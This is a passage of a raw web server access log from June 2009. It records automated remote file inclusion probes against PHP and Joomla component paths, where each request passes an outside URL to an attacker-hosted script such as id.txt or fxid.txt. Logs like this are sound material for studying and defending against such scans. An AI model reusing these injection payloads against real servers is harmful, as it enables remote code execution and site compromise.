///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://for.caucasus.net/id.txt???? HTTP/1.1" 404 33877 "-" "libwww-perl/5.79" 217.147.30.80 - - [17/Jun/2009:15:54:29 -0600] "GET /rfi.txt///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://for.caucasus.net/id.txt???? HTTP/1.1" 404 589 "-" "libwww-perl/5.79" 217.147.30.80 - - [17/Jun/2009:15:54:29 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://for.caucasus.net/id.txt???? HTTP/1.1" 302 843 "-" "libwww-perl/5.79" 217.147.30.80 - - [17/Jun/2009:15:54:30 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://for.caucasus.net/id.txt???? HTTP/1.1" 404 33877 "-" "libwww-perl/5.79" 218.38.16.54 - - [17/Jun/2009:16:45:07 -0600] "GET /rfi.txt/components/com_moofaq/includes/file_includer.php?gzip=0&file=http://eduloco.kit.net/id1.txt?? HTTP/1.1" 404 554 "-" "Mozilla/5.0" 218.38.16.54 - - [17/Jun/2009:16:45:07 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://eduloco.kit.net/id1.txt?? HTTP/1.1" 302 804 "-" "Mozilla/5.0" 218.38.16.54 - - [17/Jun/2009:16:45:09 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://eduloco.kit.net/id1.txt?? HTTP/1.1" 404 33731 "-" "Mozilla/5.0" 91.149.157.130 - - [17/Jun/2009:16:48:11 -0600] "GET /rfi.txt/components/com_moofaq/includes/file_includer.php?gzip=0&file=http://impeel.com/impeel/wizard/id1.txt? HTTP/1.1" 404 562 "-" "Mozilla/5.0" 91.149.157.130 - - [17/Jun/2009:16:48:11 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://impeel.com/impeel/wizard/id1.txt? HTTP/1.1" 302 812 "-" "Mozilla/5.0" 91.149.157.130 - - [17/Jun/2009:16:48:12 -0600] "GET /components/com_moofaq/includes/file_includer.php?gzip=0&file=http://impeel.com/impeel/wizard/id1.txt? HTTP/1.1" 404 33768 "-" "Mozilla/5.0" 208.111.94.201 - - [17/Jun/2009:16:59:47 -0600] "GET /components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.cerao-aceao.org//cerao/images/idnews.txt? HTTP/1.1" 302 838 "-" "libwww-perl/5.803" 208.111.94.201 - - [17/Jun/2009:16:59:48 -0600] "GET /components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=http://www.cerao-aceao.org//cerao/images/idnews.txt? HTTP/1.1" 404 33976 "-" "libwww-perl/5.803" 66.11.230.36 - - [17/Jun/2009:17:11:31 -0600] "GET /rfi.txt////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 601 "-" "Mozilla/5.0" 66.11.230.36 - - [17/Jun/2009:17:11:31 -0600] "GET ////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 855 "-" "Mozilla/5.0" 66.11.230.36 - - [17/Jun/2009:17:11:32 -0600] "GET ////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 34084 "-" "Mozilla/5.0" 124.0.146.100 - - [17/Jun/2009:17:12:52 -0600] "GET ////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 855 "-" "Mozilla/5.0" 124.0.146.100 - - [17/Jun/2009:17:12:54 -0600] "GET ////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33922 "-" "Mozilla/5.0" 124.0.146.100 - - [17/Jun/2009:17:12:56 -0600] "GET /rfi.txt////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 601 "-" "Mozilla/5.0" 124.138.156.3 - - [17/Jun/2009:17:13:45 -0600] "GET ////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 855 "-" "Mozilla/5.0" 124.138.156.3 - - [17/Jun/2009:17:13:47 -0600] "GET ////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33922 "-" "Mozilla/5.0" 124.138.156.3 - - [17/Jun/2009:17:13:48 -0600] "GET /rfi.txt////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 601 "-" "Mozilla/5.0" 63.147.72.145 - - [17/Jun/2009:17:14:43 -0600] "GET /rfi.txt////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 601 "-" "Mozilla/5.0" 63.147.72.145 - - [17/Jun/2009:17:14:43 -0600] "GET ////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 855 "-" "Mozilla/5.0" 63.147.72.145 - - [17/Jun/2009:17:14:43 -0600] "GET ////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 34003 "-" "Mozilla/5.0" 218.27.203.107 - - [17/Jun/2009:17:16:03 -0600] "GET /rfi.txt////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 601 "-" "Mozilla/5.0" 218.27.203.107 - - [17/Jun/2009:17:16:02 -0600] "GET ////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 855 "-" "Mozilla/5.0" 218.27.203.107 - - [17/Jun/2009:17:16:04 -0600] "GET ////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 33922 "-" "Mozilla/5.0" 63.147.72.145 - - [17/Jun/2009:17:30:56 -0600] "GET /rfi.txt////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 601 "-" "Mozilla/5.0" 63.147.72.145 - - [17/Jun/2009:17:30:56 -0600] "GET ////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 855 "-" "Mozilla/5.0" 63.147.72.145 - - [17/Jun/2009:17:30:56 -0600] "GET ////administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 34022 "-" "Mozilla/5.0" 218.38.16.54 - - [17/Jun/2009:18:16:19 -0600] "GET /rfi.txt/errors.php?error=http://eduloco.kit.net/id1.txt?? HTTP/1.1" 404 506 "-" "Mozilla/5.0" 218.38.16.54 - - [17/Jun/2009:18:16:19 -0600] "GET /errors.php?error=http://eduloco.kit.net/id1.txt?? HTTP/1.1" 302 760 "-" "Mozilla/5.0" 218.38.16.54 - - [17/Jun/2009:18:16:26 -0600] "GET /errors.php?error=http://eduloco.kit.net/id1.txt?? HTTP/1.1" 404 33539 "-" "Mozilla/5.0" 121.165.73.157 - - [17/Jun/2009:18:25:14 -0600] "GET /rfi.txt//technote7/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://www.juapage.com/cl/adpics/id1.txt? HTTP/1.1" 404 629 "-" "Mozilla/5.0" 121.165.73.157 - - [17/Jun/2009:18:25:14 -0600] "GET //technote7/skin_shop/standard/2_view_body/body_default.php?GOODS[no]=deadbeef&GOODS[gs_input]=deadbeef&shop_this_skin_path=http://www.juapage.com/cl/adpics/id1.txt? HTTP/1.1" 302 871 "-" "Mozilla/5.0" 121.165.73.157 - - [17/Jun/2009:20:20:12 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.juapage.com/cl/adpics/id1.txt? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 121.165.73.157 - - [17/Jun/2009:20:20:12 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.juapage.com/cl/adpics/id1.txt? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 121.165.73.157 - - [17/Jun/2009:20:20:14 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.juapage.com/cl/adpics/id1.txt? HTTP/1.1" 404 33814 "-" "Mozilla/5.0" 202.181.243.113 - - [17/Jun/2009:20:24:16 -0600] "GET //modules/errors.php?error=http://www.jpfgv.com.br/portal/cache/list.txt?? HTTP/1.1" 302 784 "-" "Advanced Browser (http://www.avantbrowser.com)" 202.181.243.113 - - [17/Jun/2009:20:24:17 -0600] "GET //modules/errors.php?error=http://www.jpfgv.com.br/portal/cache/list.txt?? HTTP/1.1" 404 33644 "-" "Advanced Browser (http://www.avantbrowser.com)" 121.165.73.157 - - [17/Jun/2009:20:35:06 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.juapage.com/cl/adpics/id1.txt? HTTP/1.1" 302 829 "-" "Mozilla/5.0" 121.165.73.157 - - [17/Jun/2009:20:35:07 -0600] "GET ///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.juapage.com/cl/adpics/id1.txt? HTTP/1.1" 404 33814 "-" "Mozilla/5.0" 121.165.73.157 - - [17/Jun/2009:20:35:21 -0600] "GET /rfi.txt///administrator/components/com_virtuemart/export.php?mosConfig_absolute_path=http://www.juapage.com/cl/adpics/id1.txt? HTTP/1.1" 404 575 "-" "Mozilla/5.0" 75.145.152.113 - - [17/Jun/2009:20:36:30 -0600] "GET /rfi.txt/modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://food114.tv/banner/shirohige/fxid.txt???? HTTP/1.1" 404 562 "-" "Mozilla/5.0" 75.145.152.113 - - [17/Jun/2009:20:36:30 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://food114.tv/banner/shirohige/fxid.txt???? HTTP/1.1" 302 812 "-" "Mozilla/5.0" 75.145.152.113 - - [17/Jun/2009:20:36:31 -0600] "GET /modules/vwar/convert/mvcw_conver.php?step=1&vwar_root=http://food114.tv/banner/shirohige/fxid.txt???? HTTP/1.1" 404 33830 "-" "Mozilla/5.0" 218.246.20.221 - - [17/Jun/2009:20:55:17 -0600] "GET //errors.php?error=http://www.petitbijouonline.com/debug/fatal1.txt???? HTTP/1.1" 302 781 "-" "Mozilla/5.0" 218.246.20.221 - - [17/Jun/2009:20:55:19 -0600] "GET //errors.php?error=http://www.petitbijouonline.com/debug/fatal1.txt???? HTTP/1.1" 404 33638 "-" "Mozilla/5.0" 218.246.20.221 - - [17/Jun/2009:20:55:27 -0600] "GET /rfi.txt//errors.php?error=http://www.petitbijouonline.com/debug/fatal1.txt???? HTTP/1.1" 404 527 "-" "Mozilla/5.0" 173.15.28.165 - - [18/Jun/2009:10:43:08 -0600] "GET /2009/06/04//info.php?proc=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 404 33722 "-" "libwww-perl/5.805" 173.15.28.165 - - [18/Jun/2009:10:43:08 -0600] "GET //info.php?proc=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 404 33682 "-" "libwww-perl/5.805" 173.15.28.165 - - [18/Jun/2009:10:43:08 -0600] "GET /2009/06/04/controlling-an-rfi-bot//info.php?proc=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 404 33814 "-" "libwww-perl/5.805" 173.15.28.165 - - [18/Jun/2009:10:43:45 -0600] "GET /2009/06/04//info.php?proc=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 404 33723 "-" "libwww-perl/5.805" 173.15.28.165 - - [18/Jun/2009:10:43:45 -0600] "GET //info.php?proc=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 404 33724 "-" "libwww-perl/5.805" 173.15.28.165 - - [18/Jun/2009:10:43:45 -0600] "GET /2009/06/04/controlling-an-rfi-bot//info.php?proc=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 404 33814 "-" "libwww-perl/5.805" 217.147.29.190 - - [18/Jun/2009:10:45:32 -0600] "GET /rfi.txt//administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 404 584 "-" "Mozilla/5.0" 217.147.29.190 - - [18/Jun/2009:10:45:32 -0600] "GET //administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 302 838 "-" "Mozilla/5.0" 217.147.29.190 - - [18/Jun/2009:10:45:34 -0600] "GET //administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.c21vox.tv/id1.txt?? HTTP/1.1" 404 33848 "-" "Mozilla/5.0" 209.172.33.230 - - [18/Jun/2009:10:58:12 -0600] "GET /rfi.txt//components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.0118099987.com/board/down/id132_860233/1818/baner.txt?? HTTP/1.1" 404 589 "-" "Mozilla/5.0" 209.172.33.230 - - [18/Jun/2009:10:58:12 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.0118099987.com/board/down/id132_860233/1818/baner.txt?? HTTP/1.1" 302 839 "-" "Mozilla/5.0" 209.172.33.230 - - [18/Jun/2009:10:58:13 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.0118099987.com/board/down/id132_860233/1818/baner.txt?? HTTP/1.1" 404 33935 "-" "Mozilla/5.0" 218.106.254.18 - - [18/Jun/2009:11:01:52 -0600] "GET /rfi.txt//components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.raindrip.com/cms/media/id.txt???? HTTP/1.1" 404 567 "-" "libwww-perl/5.79" 218.106.254.18 - - [18/Jun/2009:11:01:52 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.raindrip.com/cms/media/id.txt???? HTTP/1.1" 302 817 "-" "libwww-perl/5.79" 218.106.254.18 - - [18/Jun/2009:11:01:54 -0600] "GET //components/com_moofaq/includes/file_includer.php?gzip=0&file=http://www.raindrip.com/cms/media/id.txt???? HTTP/1.1" 404 33804 "-" "libwww-perl/5.79" 222.122.39.99 - - [18/Jun/2009:11:13:32 -0600] "GET /errors.php?error=http://www.univers-du-pin.be/buggsbunny?? HTTP/1.1" 302 769 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" 222.122.39.99 - - [18/Jun/2009:11:13:33 -0600] "GET /errors.php?error=http://www.univers-du-pin.be/buggsbunny?? HTTP/1.1" 404 33575 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7" 222.122.39.99 - - [18/Jun/2009:11:13:35 -0600] "GET /errors.php?error=http://www.univers-du-pin.be/buggsbunny?? HTTP/1.1" 302 769 "-" "Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)" 222.122.39.99 - - [18/Jun/2009:11:13:36 -0600] "GET /errors.php?error=http://www.univers-du-pin.be/buggsbunny?? HTTP/1.1" 404 33575 "-" "Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)" 201.24.52.254 - - [18/Jun/2009:11:30:42 -0600] "GET /2009/06/04/controlling-an%20.../index.php?sayfa=http://hkrba.mail15.su/new/Tall.txt? HTTP/1.1" 302 827 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11" 201.24.52.254 - - [18/Jun/2009:11:30:42 -0600] "GET /2009/06/04/controlling-an%20.../?sayfa=http://hkrba.mail15.su/new/Tall.txt? HTTP/1.1" 302 765 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11" 201.24.52.254 - - [18/Jun/2009:11:30:43 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://hkrba.mail15.su/new/Tall.txt? HTTP/1.1" 200 47332 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11" 66.249.68.35 - - [18/Jun/2009:11:30:49 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://hkrba.mail15.su/new/Tall.txt? HTTP/1.1" 200 14480 "-" "Mediapartners-Google" 66.249.68.35 - - [18/Jun/2009:11:30:50 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?sayfa=http://hkrba.mail15.su/new/Tall.txt? HTTP/1.1" 200 47853 "-" "Mediapartners-Google" 66.212.27.242 - - [18/Jun/2009:11:40:45 -0600] "GET //main.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 404 34004 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:11:40:50 -0600] "GET //main.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 404 33909 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:11:40:58 -0600] "GET /rfi.txt//main.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 404 534 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:11:40:58 -0600] "GET //main.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 788 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:11:40:59 -0600] "GET //main.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 404 34033 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:11:41:11 -0600] "GET /rfi.txt//main.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 404 537 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:11:41:11 -0600] "GET //main.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 791 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:11:41:12 -0600] "GET //main.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 404 33927 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:11:41:17 -0600] "GET //main.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 404 33910 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:11:41:33 -0600] "GET //main.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 404 33947 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:11:42:13 -0600] "GET //main.php?sayfa=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 404 33899 "-" "libwww-perl/5.818" 122.153.28.140 - - [18/Jun/2009:11:59:42 -0600] "GET /rfi.txt/errors.php?error=http://nashville.bbb.org///id1.txt? HTTP/1.1" 404 509 "-" "Mozilla/5.0" 122.153.28.140 - - [18/Jun/2009:11:59:42 -0600] "GET /errors.php?error=http://www.yak.com.pl/id1.txt? HTTP/1.1" 302 758 "-" "Mozilla/5.0" 122.153.28.140 - - [18/Jun/2009:11:59:42 -0600] "GET /errors.php?error=http://nashville.bbb.org///id1.txt? HTTP/1.1" 302 763 "-" "Mozilla/5.0" 122.153.28.140 - - [18/Jun/2009:11:59:43 -0600] "GET /errors.php?error=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 33524 "-" "Mozilla/5.0" 122.153.28.140 - - [18/Jun/2009:11:59:47 -0600] "GET /rfi.txt/errors.php?error=http://www.yak.com.pl/id1.txt? HTTP/1.1" 404 504 "-" "Mozilla/5.0" 122.153.28.140 - - [18/Jun/2009:11:59:48 -0600] "GET /errors.php?error=http://nashville.bbb.org///id1.txt? HTTP/1.1" 404 33557 "-" "Mozilla/5.0" 66.212.27.242 - - [18/Jun/2009:12:15:20 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 816 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:20 -0600] "GET //index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 761 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:20 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 795 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:20 -0600] "GET /?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 111846 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:21 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 47641 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:22 -0600] "GET //index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 761 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:22 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 816 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:23 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 795 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:23 -0600] "GET /?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 111875 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:23 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 47733 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:32 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 816 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:32 -0600] "GET //index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 761 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:32 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 795 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:33 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 47791 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:33 -0600] "GET /?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 112029 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:34 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 816 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:34 -0600] "GET //index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 761 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:35 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 302 795 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:36 -0600] "GET /rfi.txt//index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 404 536 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:35 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 47661 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:35 -0600] "GET /?bug=http://www.louangefm.fr//administrator/components/tirid.txt?? HTTP/1.1" 200 111985 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:36 -0600] "GET //index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 760 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:36 -0600] "GET /?bug=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 200 111910 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:38 -0600] "GET //index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 760 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:40 -0600] "GET /rfi.txt//index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 404 536 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:39 -0600] "GET /?bug=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 200 111911 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:40 -0600] "GET //index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 760 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:40 -0600] "GET /?bug=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 200 112121 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:42 -0600] "GET //index.php?bug=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 302 760 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:42 -0600] "GET //index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 735 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:42 -0600] "GET /?bug=http://www.louangefm.fr//administrator/components/tirid.txt%0D?? HTTP/1.1" 200 111967 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:43 -0600] "GET /?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 111623 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:46 -0600] "GET //index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 735 "-" "libwww-perl/5.818" 66.212.27.242 - - [18/Jun/2009:12:15:46 -0600] "GET /?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 111872 "-" "libwww-perl/5.818" 92.104.83.96 - - [18/Jun/2009:12:16:16 -0600] "GET //index.php?bug=http://65.247.182.200/r??? HTTP/1.1" 302 759 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)" 92.104.83.96 - - [18/Jun/2009:12:16:18 -0600] "GET /?bug=http://65.247.182.200/r??? HTTP/1.1" 200 110927 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; InfoPath.2)" 66.249.68.35 - - [18/Jun/2009:12:16:21 -0600] "GET /?bug=http://65.247.182.200/r??? HTTP/1.1" 200 111497 "-" "Mediapartners-Google" 189.82.182.200 - - [18/Jun/2009:12:26:59 -0600] "GET /index.php?sayfa=http://www.canalteresina.org/enviar4? HTTP/1.1" 302 776 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11" 189.82.182.200 - - [18/Jun/2009:12:27:00 -0600] "GET /?sayfa=http://www.canalteresina.org/enviar4? HTTP/1.1" 200 110884 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11" 66.249.68.34 - - [18/Jun/2009:12:27:10 -0600] "GET /?sayfa=http://www.canalteresina.org/enviar4? HTTP/1.1" 200 14480 "-" "Mediapartners-Google" 66.249.68.34 - - [18/Jun/2009:12:27:11 -0600] "GET 